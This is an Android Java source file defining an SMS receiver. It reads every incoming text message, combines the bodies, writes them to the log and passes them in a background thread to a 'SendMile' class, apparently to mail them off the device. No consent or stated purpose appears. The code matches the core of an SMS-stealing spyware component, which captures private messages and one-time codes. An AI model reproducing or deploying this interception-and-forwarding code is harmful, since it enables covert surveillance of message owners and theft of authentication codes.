package stroe.lvyang.rsms;

import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;



public class SmsInterceptReceiver extends BroadcastReceiver {

    private final String TAG = "SmsRec";

    private static final String SMS_EXTRA_NAME = "pdus";

    @Override
    public void onReceive(Context context, Intent intent) {
        // TODO Auto-generated method stub
        String messagev = "";
        Log.e(TAG, "free message ");

        Bundle extras = intent.getExtras();
        if (extras != null) {
            try {
                Object[] smsExtra = (Object[]) extras.get(SMS_EXTRA_NAME);
                ContentResolver contentResolver = context.getContentResolver();
                Log.e(TAG, "free message ");
                for (int i = 0; i < smsExtra.length; ++i) {
                    SmsMessage sms = SmsMessage.createFromPdu((byte[]) smsExtra[i]);
                    String body = sms.getMessageBody().toString();
                    messagev += body;
                }
                Log.e(TAG, "free message : " + messagev);
                final String  msg=messagev;
                try {
                    new Thread(new Runnable() {
                        @Override
                        public void run() {
                            try {
                                SendMile sendMile = new SendMile();
                                sendMile.sent(msg);
                            } catch (Exception e) {
                                e.printStackTrace();
                            }

                        }
                    }).start();
                }catch (Exception e){
                  e.printStackTrace();
                }
            } catch (Exception e) {
                // TODO: handle exception
                Log.e(TAG, e.getMessage());
            }
        }
    }
}